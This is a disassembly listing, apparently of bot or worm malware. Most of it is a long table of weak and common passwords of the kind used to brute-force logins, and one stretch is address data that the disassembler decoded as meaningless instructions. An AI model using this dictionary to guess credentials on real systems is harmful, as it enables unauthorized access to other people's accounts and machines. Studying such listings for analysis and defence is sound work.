dd offset aQwer ; "qwer"
dd offset aYxcv ; "yxcv"
dd offset aZxcv ; "zxcv"
dd offset aHome ; "home"
dd offset aLogin ; "login"
dd offset aPwd ; "pwd"
dd offset aLove ; "love"
dd offset aMypc ; "mypc"
dd offset aMypc123 ; "mypc123"
dd offset aAdmin123 ; "admin123"
dd offset aPw123 ; "pw123"
dd offset aMypass ; "mypass"
dd offset aMypass123 ; "mypass123"
dd offset aPw ; "pw"
dd offset aMat ; "Mat"
dd offset aMatt ; "Matt"
dd offset aMatthew ; "Matthew"
dd offset aGobo ; "gobo"
dd offset aSatan ; "satan"
dd offset aSatanik ; "satanik"
dd offset aSatanic ; "satanic"
dd offset aSpaceman ; "spaceman"
dd offset aHeaven ; "heaven"
dd offset aW00t ; "w00t"
dd offset a0wn3d ; "0wn3d"
dd offset aKiller ; "killer"
dd offset aLeet ; "leet"
dd offset aL33t ; "l33t"
dd offset aL337 ; "l337"
dd offset aHacker ; "hacker"
dd offset aHax0r ; "hax0r"
dd offset aScript ; "script"
dd offset aScriptkiddie ; "scriptkiddie"
dd offset aKiddie ; "kiddie"
dd offset aMirc_0 ; "mirc"
dd offset aUwontguessme ; "uwontguessme"
dd offset aYouwontguessme ; "youwontguessme"
dd offset aGuessme ; "guessme"
dd offset asc_42C63C ; "x"
dd offset aXx ; "xx"
dd offset aXxx ; "xxx"
dd offset aXxxx ; "xxxx"
dd offset aXxxxx ; "xxxxx"
dd offset aXxxxxx ; "xxxxxx"
dd offset aXxxxxxx ; "xxxxxxx"
dd offset aXxxxxxxx ; "xxxxxxxx"
dd offset aXxxxxxxxx ; "xxxxxxxxx"
dd offset dword_42093C
dd offset a00 ; "00"
dd offset aDeath ; "death"
dd offset aTesting ; "testing"
dd offset a000 ; "000"
dd offset a0000 ; "0000"
dd offset a00000 ; "00000"
dd offset a000000 ; "000000"
dd offset aAcademia ; "academia"
dd offset aAcademic ; "academic"
dd offset aAccept ; "accept"
dd offset aAccount ; "account"
dd offset aAction ; "action"
dd offset aAdam ; "adam"
dd offset aAdrian ; "adrian"
dd offset aAdrianna ; "adrianna"
dd offset aAdult ; "adult"
dd offset aAerobics ; "aerobics"
dd offset aAids ; "aids"
dd offset aAirplane ; "airplane"
dd offset aAlaska ; "alaska"
dd offset aAlbany ; "albany"
dd offset aAlbatros ; "albatros"
dd offset aAlbert ; "albert"
dd offset aAlert ; "alert"
dd offset aAlex ; "alex"
dd offset aAlexande ; "alexande"
dd offset aAlgebra ; "algebra"
dd offset aAlias ; "alias"
dd offset aAliases ; "aliases"
dd offset aAlice ; "alice"
dd offset aAlicia ; "alicia"
dd offset aAlisa ; "alisa"
dd offset aAlison ; "alison"
dd offset aAllison ; "allison"
dd offset aAllow ; "allow"
dd offset aAlphabet ; "alphabet"
dd offset aAmadeus ; "amadeus"
; ---------------------------------------------------------------------------
mov esp, 0B40042C4h
les eax, [edx+0]
lodsb
les eax, [edx+0]
mov al, ds:980042C4h
les eax, [edx+0]
nop
les eax, [edx+0]
test al, ah
inc edx
add [esp+eax*8+42h], bh
add [esp+eax*8+42h], dh
add [esp+eax*8+42h], ch
add [esp+eax*8+42h], ah
add [eax-3Ch], bl
inc edx
add [eax-3Ch], dl
inc edx
add [eax-3Ch], cl
inc edx
add [eax-3Ch], al
inc edx
add [esp+eax*8], dh
inc edx
add [esp+eax*8], ch
inc edx
add [esp+eax*8], ah
inc edx
add [esp+eax*8], bl
inc edx
add [esp+eax*8], dl
inc edx
add [esp+eax*8], cl
inc edx
add [esp+eax*8], al
inc edx
add ah, bh
retn
; ---------------------------------------------------------------------------
inc edx
add ah, dh
retn
; ---------------------------------------------------------------------------
inc edx
add al, ch
retn
; ---------------------------------------------------------------------------
inc edx
add al, ah
retn
; ---------------------------------------------------------------------------
inc edx
add al, bl
retn
; ---------------------------------------------------------------------------
inc edx
add ah, cl
retn
; ---------------------------------------------------------------------------
inc edx
add ah, al
retn
; ---------------------------------------------------------------------------
inc edx
add [eax-53FFBD3Dh], bh
retn
; ---------------------------------------------------------------------------
inc edx
add [ebx+eax*8-3C63FFBEh], ah
inc edx
add [ebx+eax*8-3C73FFBEh], dl
inc edx
add [ebx+eax*8-3C83FFBEh], al
inc edx
add [ebx+eax*8+42h], dh
add [ebx+eax*8+42h], ch
add [ebx+eax*8+42h], ah
add [ebx+eax*8+42h], bl
add [ebx+eax*8+42h], dl
add [eax-3Dh], cl
inc edx
add [eax-3Dh], al
inc edx
add [eax], bh
retn
; ---------------------------------------------------------------------------
inc edx
add [ebx+eax*8], ch
inc edx
add [ebx+eax*8], ah
inc edx
add [ebx+eax*8], bl
inc edx
add [ebx+eax*8], dl
inc edx
add [ebx+eax*8], cl
inc edx
add [ebx+eax*8], al
inc edx
add al, bh
retn 42h
; ---------------------------------------------------------------------------
dd offset aBadass ; "badass"
dd offset aBailey ; "bailey"
dd offset aBall ; "ball"
; ---------------------------------------------------------------------------
fadd st, st(2)
inc edx
add al, dl
retn 42h
; ---------------------------------------------------------------------------
enter 42C2h, 0
rol dl, 42h
add [eax-4FFFBD3Eh], bh
retn 42h
; ---------------------------------------------------------------------------
test al, 0C2h
inc edx
add [eax-67FFBD3Eh], ah
retn 42h
; ---------------------------------------------------------------------------
mov edx, es
inc edx
add [edx+eax*8-3D83FFBEh], al
inc edx
add [eax-3Eh], dh
inc edx
add [eax-3Eh], ch
inc edx
add [eax-3Eh], ah
inc edx
add [eax-3Eh], bl
inc edx
add [eax-3Eh], dl
inc edx
add [eax-3Eh], cl
inc edx
add [eax-3Eh], al
inc edx
add [edx+eax*8], dh
inc edx
add [edx+eax*8], ch
inc edx
add [edx+eax*8], ah
inc edx
add [edx+eax*8], bl
inc edx
add [edx+eax*8], dl
inc edx
add [edx+eax*8], cl
inc edx
add [edx+eax*8], al
inc edx
add al, bh
rol dword ptr [edx+0], 0F0h
rol dword ptr [edx+0], 0E8h
rol dword ptr [edx+0], 0E0h
rol dword ptr [edx+0], 0D8h
rol dword ptr [edx+0], 0D0h
rol dword ptr [edx+0], 0C8h
rol dword ptr [edx+0], 0BCh
rol dword ptr [edx+0], 0B4h
rol dword ptr [edx+0], 0A8h
rol dword ptr [edx+0], 0A0h
rol dword ptr [edx+0], 98h
rol dword ptr [edx+0], 90h
rol dword ptr [edx+0], 88h
rol dword ptr [edx+0], 80h
rol dword ptr [edx+0], 78h
rol dword ptr [edx+0], 70h
rol dword ptr [edx+0], 64h
rol dword ptr [edx+0], 5Ch
rol dword ptr [edx+0], 54h
rol dword ptr [edx+0], 4Ch
rol dword ptr [edx+0], 44h
rol dword ptr [edx+0], 3Ch
rol dword ptr [edx+0], 34h
rol dword ptr [edx+0], 2Ch
rol dword ptr [edx+0], 24h
rol dword ptr [edx+0], 1Ch
rol dword ptr [edx+0], 14h
rol dword ptr [edx+0], 0Ch
rol dword ptr [edx+0], 4
rol dword ptr [edx+0], 0FCh
rol byte ptr [edx+0], 0F0h
rol byte ptr [edx+0], 0E8h
rol byte ptr [edx+0], 0E0h
rol byte ptr [edx+0], 0D8h
rol byte ptr [edx+0], 0D0h
rol byte ptr [edx+0], 0C8h
rol byte ptr [edx+0], 0C0h
rol byte ptr [edx+0], 0B8h
rol byte ptr [edx+0], 0B0h
rol byte ptr [edx+0], 0A8h
rol byte ptr [edx+0], 0A0h
rol byte ptr [edx+0], 98h
rol byte ptr [edx+0], 8Ch
rol byte ptr [edx+0], 84h
rol byte ptr [edx+0], 7Ch
rol byte ptr [edx+0], 74h
rol byte ptr [edx+0], 6Ch
rol byte ptr [edx+0], 64h
rol byte ptr [edx+0], 5Ch
rol byte ptr [edx+0], 54h
rol byte ptr [edx+0], 4Ch
rol byte ptr [edx+0], 44h
rol byte ptr [edx+0], 38h
rol byte ptr [edx+0], 30h
rol byte ptr [edx+0], 24h
rol byte ptr [edx+0], 1Ch
rol byte ptr [edx+0], 10h
rol byte ptr [edx+0], 8
rol byte ptr [edx+0], 0FCh
mov edi, 0BFF00042h
inc edx
add al, ch
mov edi, 0BFE00042h
inc edx
add al, bl
mov edi, 0BFD00042h
inc edx
add al, cl
mov edi, 0BFBC0042h
inc edx
add [eax-57FFBD41h], dh
mov edi, 0BF9C0042h
inc edx
add [edi+edi*4-4073FFBEh], dl
inc edx
add [edi+edi*4-4083FFBEh], al
inc edx
add [edi+edi*4+42h], dh
add [edi+edi*4+42h], ch
add [edi+edi*4+42h], ah
add [eax-41h], bl
inc edx
add [eax-41h], dl
inc edx
add [eax-41h], cl
inc edx
add [eax-41h], al
inc edx
add [eax], bh
mov edi, 0BF300042h
inc edx
add [edi+edi*4], ah
inc edx
add [eax], bl
mov edi, 0BF100042h
inc edx
add [eax], cl
mov edi, 0BEFC0042h
inc edx
add ah, dh
mov esi, 0BEEC0042h
inc edx
add al, ah
mov esi, 0BED40042h
inc edx
add ah, cl
mov esi, 0BEC40042h
inc edx
add [esi+edi*4-414BFFBEh], bh
inc edx
add [esi+edi*4-415BFFBEh], ch
inc edx
add [esi+edi*4-416FFFBEh], bl
inc edx
add [eax-7FFFBD42h], cl
mov esi, 0BE780042h
inc edx
add [eax-42h], dh
inc edx
add [esi+edi*4+42h], ah
add [esi+edi*4+42h], bl
add [esi+edi*4+42h], dl
add [esi+edi*4+42h], cl
add [eax-42h], al
inc edx
add [eax], bh
mov esi, 0BE300042h
inc edx
add [eax], ch
mov esi, 0BE200042h
inc edx
add [esi+edi*4], dl
inc edx
add [esi+edi*4], cl
inc edx
add [esi+edi*4], al
inc edx
add al, bh
mov ebp, 0BDF00042h
inc edx
add al, ch
mov ebp, 0BDE00042h
inc edx
add al, bl
mov ebp, 0BDD00042h
inc edx
add ah, al
mov ebp, 0BDB80042h
inc edx
add [eax-57FFBD43h], dh
mov ebp, 0BD9C0042h
inc edx
add [ebp+edi*4-4277FFBEh], dl
inc edx
add [ebp+edi*4+42h], bh
add [ebp+edi*4+42h], dh
add [ebp+edi*4+42h], ch
add [eax-43h], ah
inc edx
add [ebp+edi*4+42h], dl
add [ebp+edi*4+42h], cl
add [ebp+edi*4+42h], al
add ds:0BD340042h[edi*4], bh
inc edx
add ds:0BD240042h[edi*4], ch
inc edx
add ds:0BD140042h[edi*4], bl
inc edx
add ds:0BD040042h[edi*4], cl
inc edx
add al, bh
mov esp, 0BCF00042h
inc edx
add ah, ah
mov esp, 0BCDC0042h
inc edx
add al, dl
mov esp, 0BCC80042h
inc edx
add al, al
mov esp, 34380042h
inc edx
add [eax-53FFBD44h], bh
mov esp, 0BCA40042h
inc edx
add [eax-6FFFBD44h], bl
mov esp, 0BC840042h
inc edx
add [esp+edi*4+42h], bh
add [esp+edi*4+42h], dh
add [esp+edi*4+42h], ch
add [esp+edi*4+42h], ah
add [esp+edi*4+42h], bl
add [esp+edi*4+42h], dl
add [eax-44h], cl
inc edx
add [eax-44h], al
inc edx
add [esp+edi*4], dh
inc edx
add [esp+edi*4], ch
inc edx
add [eax], ah
mov esp, 0BC180042h
inc edx
add [eax], dl
mov esp, 0BC040042h
inc edx
add ah, bh
mov ebx, 0BBF40042h
inc edx
add al, ch
mov ebx, 0BBDC0042h
inc edx
add ah, dl
mov ebx, 0BBC80042h
inc edx
add al, al
mov ebx, 0BBB80042h
inc edx
add [ebx+edi*4-445FFFBEh], ch
inc edx
add [eax-6FFFBD45h], bl
mov ebx, 0BB880042h
inc edx
add [ebx+edi*4+42h], bh
add [ebx+edi*4+42h], dh
add [eax-45h], ch
inc edx
add [ebx+edi*4+42h], bl
add [ebx+edi*4+42h], dl
add [ebx+edi*4+42h], cl
add [ebx+edi*4+42h], al
add [ebx+edi*4], bh
inc edx
add [ebx+edi*4], dh
inc edx
add [ebx+edi*4], ch
inc edx
add [eax], ah
mov ebx, 0BB180042h
inc edx
add [eax], dl
mov ebx, 0BB080042h
inc edx
add ah, bh
mov edx, 0BAF40042h
inc edx
add ah, ch
mov edx, 0BAE40042h
inc edx
add ah, bl
mov edx, 0BAD00042h
inc edx
add al, cl
mov edx, 0BAC00042h
inc edx
add [eax-53FFBD46h], bh
mov edx, 0BAA40042h
inc edx
add al, cl
retf 42h
; ---------------------------------------------------------------------------
dd offset aDefault ; "DEFAULT"
dd offset aDefoe ; "defoe"
dd offset aDelta ; "delta"
dd offset aDeluge ; "deluge"
dd offset aDemocrat ; "democrat"
dd offset aDenise ; "denise"
dd offset aDennis ; "dennis"
dd offset aDesiree ; "desiree"
dd offset aDesk ; "desk"
dd offset aDesktop ; "desktop"
dd offset aDesperat ; "desperat"
dd offset aDevelop ; "develop"
dd offset aDevice ; "device"
dd offset aDial ; "dial"
dd offset aDiamond ; "diamond"
dd offset aDiana ; "diana"
dd offset aDiane ; "diane"
dd offset aDice ; "dice"
dd offset aDick ; "dick"
dd offset aDiehard ; "diehard"
dd offset aDiet ; "diet"
dd offset aDieter ; "dieter"
dd offset aDigital ; "digital"
dd offset aDinosaur ; "dinosaur"
dd offset aDipshit ; "dipshit"
dd offset aDirect ; "direct"
dd offset aDirector ; "director"
dd offset aDirty ; "dirty"
dd offset aDisc ; "disc"
dd offset aDiscipli ; "discipli"
dd offset aDisclose ; "disclose"
dd offset aDiscover ; "discover"
dd offset aDisk_0 ; "disk"
dd offset aDiskette ; "diskette"
dd offset aDisney ; "disney"
dd offset aDisplay ; "display"
dd offset aDoctor ; "doctor"
dd offset aDollar ; "dollar"
dd offset aDong ; "dong"
dd offset aDoom ; "doom"
dd offset aDoom2 ; "doom2"
dd offset aDoomii ; "doomii"
dd offset aDoomsday ; "doomsday"
dd offset aDoonesbu ; "doonesbu"
dd offset aDoor ; "door"
dd offset aDoors ; "doors"
dd offset aDope ; "dope"
dd offset aDownload ; "download"
dd offset aDragon ; "dragon"
dd offset aDrdoom ; "drdoom"
dd offset aDrive ; "drive"
dd offset aDrought ; "drought"
dd offset aDuck ; "duck"
dd offset aDude ; "dude"
dd offset aDuelist ; "duelist"
dd offset aDuke ; "duke"
dd offset aDulce ; "dulce"
dd offset aDuncan ; "duncan"
dd offset aDungeon ; "dungeon"
dd offset aDyke ; "dyke"
dd offset aEager ; "eager"
dd offset aEagle ; "eagle"
dd offset aEarth ; "earth"
dd offset aEasier ; "easier"
dd offset aEasy ; "easy"
dd offset aEatme ; "eatme"
dd offset aEcho ; "echo"
dd offset aEddie ; "eddie"
dd offset aEdges ; "edges"
dd offset aEdinburg ; "edinburg"
dd offset aEdit ; "edit"
dd offset aEdition ; "edition"
dd offset aEducation ; "education"
dd offset aEducatio ; "educatio"
dd offset aEdwin ; "edwin"
dd offset aEdwina ; "edwina"
dd offset aEgghead ; "egghead"
dd offset aEiderdow ; "eiderdow"
dd offset aEileen ; "eileen"
dd offset aEinsiein ; "einsiein"
dd offset aEinstein ; "einstein"
dd offset aElaine ; "elaine"
dd offset aElanor ; "elanor"
dd offset aElectron ; "electron"
dd offset aElephant ; "elephant"
dd offset aElizabet ; "elizabet"
dd offset aEllen ; "ellen"
dd offset aEmail ; "email"
dd offset aEmerald ; "emerald"
dd offset aEmily ; "emily"
dd offset aEmmanuel ; "emmanuel"
dd offset aEnemy ; "enemy"
dd offset aEngine ; "engine"
dd offset aEngineer ; "engineer"
dd offset aEngland ; "england"
dd offset aEnglish ; "english"
dd offset aEnter ; "enter"
dd offset aEnterpri ; "enterpri"
dd offset aEnzyme ; "enzyme"
dd offset aErenity ; "erenity"
dd offset aEric ; "eric"
dd offset aErica ; "erica"
dd offset aErika ; "erika"
dd offset aErin ; "erin"
dd offset aErotic ; "erotic"
dd offset aErsatz ; "ersatz"
dd offset aEstablis ; "establis"
dd offset aEstate ; "estate"
dd offset aEternity ; "eternity"
dd offset aEuclid ; "euclid"
dd offset aEvelyn ; "evelyn"
dd offset aExpert ; "expert"
dd offset aExplode ; "explode"
dd offset aExplore ; "explore"
dd offset aExplorer ; "explorer"
dd offset aExplosiv ; "explosiv"
dd offset aExtensio ; "extensio"
dd offset aFairway ; "fairway"
dd offset aFaith ; "faith"
dd offset aFalcon ; "falcon"
dd offset aFalse ; "false"
dd offset aFamily ; "family"
dd offset aFarad ; "farad"
dd offset aFaraday ; "faraday"
dd offset aFart ; "fart"
dd offset aFast ; "fast"
dd offset aFear ; "fear"
dd offset aFeds ; "feds"
dd offset aFelicia ; "felicia"
dd offset aFender ; "fender"
dd offset aFermat ; "fermat"
dd offset aFerrari ; "ferrari"
dd offset aFidelity ; "fidelity"
dd offset aField ; "field"
dd offset aFight ; "fight"
dd offset aFile ; "file"
dd offset aFinite ; "finite"
dd offset aFire ; "fire"
dd offset aFirewall ; "firewall"
dd offset aFishers ; "fishers"
dd offset aFlakes ; "flakes"
dd offset aFloat ; "float"
dd offset aFlorida ; "florida"
dd offset aFlower ; "flower"
dd offset aFlowers ; "flowers"
dd offset aFood ; "food"
dd offset aFool ; "fool"
dd offset aFoolproo ; "foolproo"
dd offset aFootball ; "football"
dd offset aForce ; "force"
dd offset aFord ; "ford"
dd offset aForesigh ; "foresigh"
dd offset aForever ; "forever"
dd offset aForm ; "form"
dd offset aFormat ; "format"
dd offset aFornicat ; "fornicat"
dd offset aForsythe ; "forsythe"
dd offset aFourier ; "fourier"
dd offset aFoxtrot ; "foxtrot"
dd offset aFrance ; "france"
dd offset aFrank ; "frank"
dd offset aFreak ; "freak"
dd offset aFred ; "fred"
dd offset aFree ; "free"
dd offset aFreedom ; "freedom"
dd offset aFrench ; "french"
dd offset aFriday ; "friday"
dd offset aFriend ; "friend"
dd offset aFriends ; "friends"
dd offset aFrighten ; "frighten"
dd offset aFrog ; "frog"
dd offset aFryguy ; "fryguy"
dd offset aFuck ; "fuck"
dd offset aFucker ; "fucker"
dd offset aFucking ; "fucking"
dd offset aFuckme ; "fuckme"
dd offset aFuckyou ; "fuckyou"
dd offset aFudge ; "fudge"
dd offset aFunction ; "function"
dd offset aFungible ; "fungible"
dd offset aGabriel ; "gabriel"
dd offset aGames ; "games"
dd offset aGardner ; "gardner"
dd offset aGarfield ; "garfield"
dd offset aGateway ; "gateway"
dd offset aGatherin ; "gatherin"
dd offset aGatt ; "gatt"
dd offset aGauss ; "gauss"
dd offset aGeorge ; "george"
dd offset aGerm ; "germ"
dd offset aGertrude ; "gertrude"
dd offset aGhost ; "ghost"
dd offset aGibson ; "gibson"
dd offset aGigabyte ; "gigabyte"
dd offset aGina ; "gina"
dd offset aGinger ; "ginger"
dd offset aGirl ; "girl"
dd offset aGlacier ; "glacier"
dd offset aGold ; "gold"
dd offset aGolden ; "golden"
dd offset aGolf ; "golf"
dd offset aGolfer ; "golfer"
dd offset aGood ; "good"
dd offset aGorgeous ; "gorgeous"
dd offset aGorges ; "gorges"
dd offset aGosling ; "gosling"
dd offset aGouge ; "gouge"
dd offset aGovermen ; "govermen"
dd offset aGrades ; "grades"
dd offset aGraham ; "graham"
dd offset aGrahm ; "grahm"
dd offset aGrand ; "grand"
dd offset aGrant ; "grant"
dd offset aGreat ; "great"
dd offset aGreen ; "green"
dd offset aGroup ; "group"
dd offset aGryphon ; "gryphon"
dd offset aGuardian ; "guardian"
dd offset aGucci ; "gucci"
dd offset aGuess ; "guess"
dd offset aGuitar ; "guitar"
dd offset aGumption ; "gumption"
dd offset aGuntis ; "guntis"
dd offset aHack ; "hack"
dd offset aHacked ; "hacked"
dd offset aHagar ; "hagar"
dd offset aHair ; "hair"
dd offset aHallowee ; "hallowee"
dd offset aHamlet ; "hamlet"
dd offset aHamster ; "hamster"
dd offset aHandel ; "handel"
dd offset aHandily ; "handily"
dd offset aHandjob ; "handjob"
dd offset aHappenin ; "happenin"
dd offset aHard ; "hard"
dd offset aHardcore ; "hardcore"
dd offset aHarddriv ; "harddriv"
dd offset aHarmony ; "harmony"
dd offset aHarold ; "harold"
dd offset aHarvey ; "harvey"
dd offset aHate ; "hate"
dd offset aHaven ; "haven"
dd offset aHawaii ; "hawaii"
dd offset aHead ; "head"
dd offset aHeadbang ; "headbang"
dd offset aHeat ; "heat"
dd offset aHeathen ; "heathen"
dd offset aHeather ; "heather"
dd offset aHebrides ; "hebrides"
dd offset aHeidi ; "heidi"
dd offset aHeinlein ; "heinlein"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aHelp ; "help"
dd offset aHerb ; "herb"
dd offset aHerbert ; "herbert"
dd offset aHero ; "hero"
dd offset aHeroin ; "heroin"
dd offset aHewlett ; "hewlett"
dd offset aHexadeci ; "hexadeci"
dd offset aHiawatha ; "hiawatha"
dd offset aHibernia ; "hibernia"
dd offset aHidden ; "hidden"
dd offset aHigh ; "high"
dd offset aHighland ; "highland"
dd offset aHitler ; "hitler"
dd offset aHits ; "hits"
dd offset aHole ; "hole"
dd offset aHolly ; "holly"
dd offset aHollywoo ; "hollywoo"
dd offset aHomepage ; "homepage"
dd offset aHomer ; "homer"
dd offset aHomework ; "homework"
dd offset aHoney ; "honey"
dd offset aHooker ; "hooker"
dd offset aHooters ; "hooters"
dd offset aHorny ; "horny"
dd offset aHorrible ; "horrible"
dd offset aHorror ; "horror"
dd offset aHorse ; "horse"
dd offset aHorus ; "horus"
dd offset aHost ; "host"
dd offset aHotdog ; "hotdog"
dd offset aHotel ; "hotel"
dd offset aHttp ; "http"
dd offset aHunt ; "hunt"
dd offset aHunter ; "hunter"
dd offset aHutchins ; "hutchins"
dd offset aHydrogen ; "hydrogen"
dd offset aHyper ; "hyper"
dd offset aHypertxt ; "hypertxt"
dd offset aIcecream ; "icecream"
dd offset aIllumina ; "illumina"
dd offset aImage ; "image"
dd offset aImbrogli ; "imbrogli"
dd offset aImmortal ; "immortal"
dd offset aImperial ; "imperial"
dd offset aInclude ; "include"
dd offset aIndia ; "india"
dd offset aIndian ; "indian"
dd offset aIndiana ; "indiana"
dd offset aIndians ; "indians"
dd offset aIngres ; "ingres"
dd offset aIngress ; "ingress"
dd offset aIngrid ; "ingrid"
dd offset aInna ; "inna"
dd offset aInnocuou ; "innocuou"
dd offset aInput ; "input"
dd offset aInside ; "inside"
dd offset aInteger ; "integer"
dd offset aInvent ; "invent"
dd offset aIrene ; "irene"
dd offset aIrishman ; "irishman"
dd offset aIsis ; "isis"
dd offset aJackie ; "jackie"
dd offset aJail ; "jail"
dd offset aJane ; "jane"
dd offset aJanet ; "janet"
dd offset aJanice ; "janice"
dd offset aJanie ; "janie"
dd offset aJapan ; "japan"
dd offset aJasmin ; "jasmin"
dd offset aJava ; "java"
dd offset aJazz ; "jazz"
dd offset aJean ; "jean"
dd offset aJeanne ; "jeanne"
dd offset aJeff ; "jeff"
dd offset aJenni ; "jenni"
dd offset aJennifer ; "jennifer"
dd offset aJenny ; "jenny"
dd offset aJerry ; "jerry"
dd offset aJerusale ; "jerusale"
dd offset aJessica ; "jessica"
dd offset aJester ; "jester"
dd offset aJewelry ; "jewelry"
dd offset aJill ; "jill"
dd offset aJixian ; "jixian"
dd offset aJoanne ; "joanne"
dd offset aJody ; "jody"
dd offset aJohn ; "john"
dd offset aJohndoe ; "johndoe"
dd offset aJohnny ; "johnny"
dd offset aJoseph ; "joseph"
dd offset aJoshua ; "joshua"
dd offset aJournal ; "journal"
dd offset aJoyce ; "joyce"
dd offset aJudith ; "judith"
dd offset aJudy ; "judy"
dd offset aJuggle ; "juggle"
dd offset aJuicy ; "juicy"
dd offset aJulia ; "julia"
dd offset aJulie ; "julie"
dd offset aJuliet ; "juliet"
dd offset aJune ; "june"
dd offset aJupiter ; "jupiter"
dd offset aKaka ; "kaka"
dd offset aKaren ; "karen"
dd offset aKarie ; "karie"
dd offset aKarina ; "karina"
dd offset aKatana ; "katana"
dd offset aKate ; "kate"
dd offset aKathleen ; "kathleen"
dd offset aKathrine ; "kathrine"
dd offset aKathy ; "kathy"
dd offset aKatina ; "katina"
dd offset aKatrina ; "katrina"
dd offset aKelly ; "kelly"
dd offset aKeri ; "keri"
dd offset aKermit ; "kermit"
dd offset aKernel ; "kernel"
dd offset aKerri ; "kerri"
dd offset aKerrie ; "kerrie"
dd offset aKerry ; "kerry"
dd offset aKevin ; "kevin"
dd offset aKewl ; "kewl"
dd offset aKeybord ; "keybord"
dd offset aKeyin ; "keyin"
dd offset aKeyword ; "keyword"
dd offset aKids ; "kids"
dd offset aKill ; "kill"
dd offset aKillthem ; "killthem"
dd offset aKilo ; "kilo"
dd offset aKimberly ; "kimberly"
dd offset aKing ; "king"
dd offset aKirk ; "kirk"
dd offset aKirkland ; "kirkland"
dd offset aKiss ; "kiss"
dd offset aKissmyas ; "kissmyas"
dd offset aKitten ; "kitten"
dd offset aKlingon ; "klingon"
dd offset aKnife ; "knife"
dd offset aKnight ; "knight"
dd offset aKnightma ; "knightma"
dd offset aKnown ; "known"
dd offset aKrista ; "krista"
dd offset aKristen ; "kristen"
dd offset aKristi ; "kristi"
dd offset aKristie ; "kristie"
dd offset aKristin ; "kristin"
dd offset aKristine ; "kristine"
dd offset aKristy ; "kristy"
dd offset aLadies ; "ladies"
dd offset aLadle ; "ladle"
dd offset aLakers ; "lakers"
dd offset aLambda ; "lambda"
dd offset aLaminati ; "laminati"
dd offset aLana ; "lana"
dd offset aLaptop ; "laptop"
dd offset aLara ; "lara"
dd offset aLarkin ; "larkin"
dd offset aLarry ; "larry"
dd offset aLaser ; "laser"
dd offset aLaura ; "laura"
dd offset aLava ; "lava"
dd offset aLazarus ; "lazarus"
dd offset aLazer ; "lazer"
dd offset aLeah ; "leah"
dd offset aLebesgue ; "lebesgue"
dd offset aLeft ; "left"
dd offset aLeftwing ; "leftwing"
dd offset aLegal ; "legal"
dd offset aLeland ; "leland"
dd offset aLeroy ; "leroy"
dd offset aLesbian ; "lesbian"
dd offset aLeslie ; "leslie"
dd offset aLetmein ; "letmein"
dd offset aLewis ; "lewis"
dd offset aLexluthe ; "lexluthe"
dd offset aLiberal ; "liberal"
dd offset aLibrary ; "library"
dd offset aLick ; "lick"
dd offset aLicker ; "licker"
dd offset aLife ; "life"
dd offset aLight ; "light"
dd offset aLightsab ; "lightsab"
dd offset aLima ; "lima"
dd offset aLimbaugh ; "limbaugh"
dd offset aLimited ; "limited"
dd offset aLinda ; "linda"
dd offset aLink ; "link"
dd offset aLion ; "lion"
dd offset aLips ; "lips"
dd offset aLisa ; "lisa"
dd offset aLisp ; "lisp"
dd offset aLiteratu ; "literatu"
dd offset aLive ; "live"
dd offset aLoad ; "load"
dd offset aLock ; "lock"
dd offset aLockout ; "lockout"
dd offset aLockword ; "lockword"
dd offset aLogic ; "logic"
dd offset aLoginwor ; "loginwor"
dd offset aLogout ; "logout"
dd offset aLois ; "lois"
dd offset aLolopc ; "lolopc"
dd offset aLoose ; "loose"
dd offset aLore ; "lore"
dd offset aLori ; "lori"
dd offset aLorin ; "lorin"
dd offset aLorraine ; "lorraine"
dd offset aLoser ; "loser"
dd offset aLouis ; "louis"
dd offset aLovebug ; "lovebug"
dd offset aLover ; "lover"
dd offset aLuck ; "luck"
dd offset aLucus ; "lucus"
dd offset aLucy ; "lucy"
dd offset aLude ; "lude"
dd offset aLuke ; "luke"
dd offset aLust ; "lust"
dd offset aLynn ; "lynn"
dd offset aLynne ; "lynne"
dd offset aMachine ; "machine"
dd offset aMacintos ; "macintos"
dd offset aMack ; "mack"
dd offset aMacro ; "macro"
dd offset aMaggot ; "maggot"
dd offset aMagic ; "magic"
dd offset aMagnet ; "magnet"
dd offset aMail ; "mail"
dd offset aMaint ; "maint"
dd offset aMalcolm ; "malcolm"
dd offset aMalcom ; "malcom"
dd offset aMana ; "mana"
dd offset aManager ; "manager"
dd offset aMara ; "mara"
dd offset aMarci ; "marci"
dd offset aMarcy ; "marcy"
dd offset aMaria ; "maria"
dd offset aMariens ; "mariens"
dd offset aMarietta ; "marietta"
dd offset aMarijuan ; "marijuan"
dd offset aMarines ; "marines"
dd offset aMark ; "mark"
dd offset aMarkus ; "markus"
dd offset aMarni ; "marni"
dd offset aMarriage ; "marriage"
dd offset aMars ; "mars"
dd offset aMarty ; "marty"
dd offset aMarvin ; "marvin"
dd offset aMary ; "mary"
dd offset aMason ; "mason"
dd offset aMaster ; "master"
dd offset aMath ; "math"
dd offset aMaurice ; "maurice"
dd offset aMeagan ; "meagan"
dd offset aMegabyte ; "megabyte"
dd offset aMegadeth ; "megadeth"
dd offset aMegan ; "megan"
dd offset aMelissa ; "melissa"
dd offset aMellon ; "mellon"
dd offset aMelrose ; "melrose"
dd offset aMember ; "member"
dd offset aMemory ; "memory"
dd offset aMenace ; "menace"
dd offset aMenu ; "menu"
dd offset aMercury ; "mercury"
dd offset aMerlin ; "merlin"
dd offset aMetal ; "metal"
dd offset aMetalhea ; "metalhea"
dd offset aMetalica ; "metalica"
dd offset aMets ; "mets"
dd offset aMice ; "mice"
dd offset aMichael ; "michael"
dd offset aMichel ; "michel"
dd offset aMichelan ; "michelan"
dd offset aMichele ; "michele"
dd offset aMichelle ; "michelle"
dd offset aMickey ; "mickey"
dd offset aMicro ; "micro"
dd offset aMicrochi ; "microchi"
dd offset aMicropro ; "micropro"
dd offset aMicrosof ; "microsof"
dd offset aMidieval ; "midieval"
dd offset aMike ; "mike"
dd offset aMine ; "mine"
dd offset aMinimum ; "minimum"
dd offset aMinsky ; "minsky"
dd offset aMisfit ; "misfit"
dd offset aMission ; "mission"
dd offset aMkii ; "mkii"
dd offset aMode ; "mode"
dd offset aModem ; "modem"
dd offset aMogul ; "mogul"
dd offset aMoguls ; "moguls"
dd offset aMonday ; "monday"
dd offset aMonica ; "monica"
dd offset aMoom ; "moom"
dd offset aMoor ; "moor"
dd offset aMoose ; "moose"
dd offset aMore ; "more"
dd offset aMorley ; "morley"
dd offset aMorris ; "morris"
dd offset aMortal ; "mortal"
dd offset aMortalco ; "mortalco"
dd offset aMortgage ; "mortgage"
dd offset aMosaic ; "mosaic"
dd offset aMountain ; "mountain"
dd offset aMouse ; "mouse"
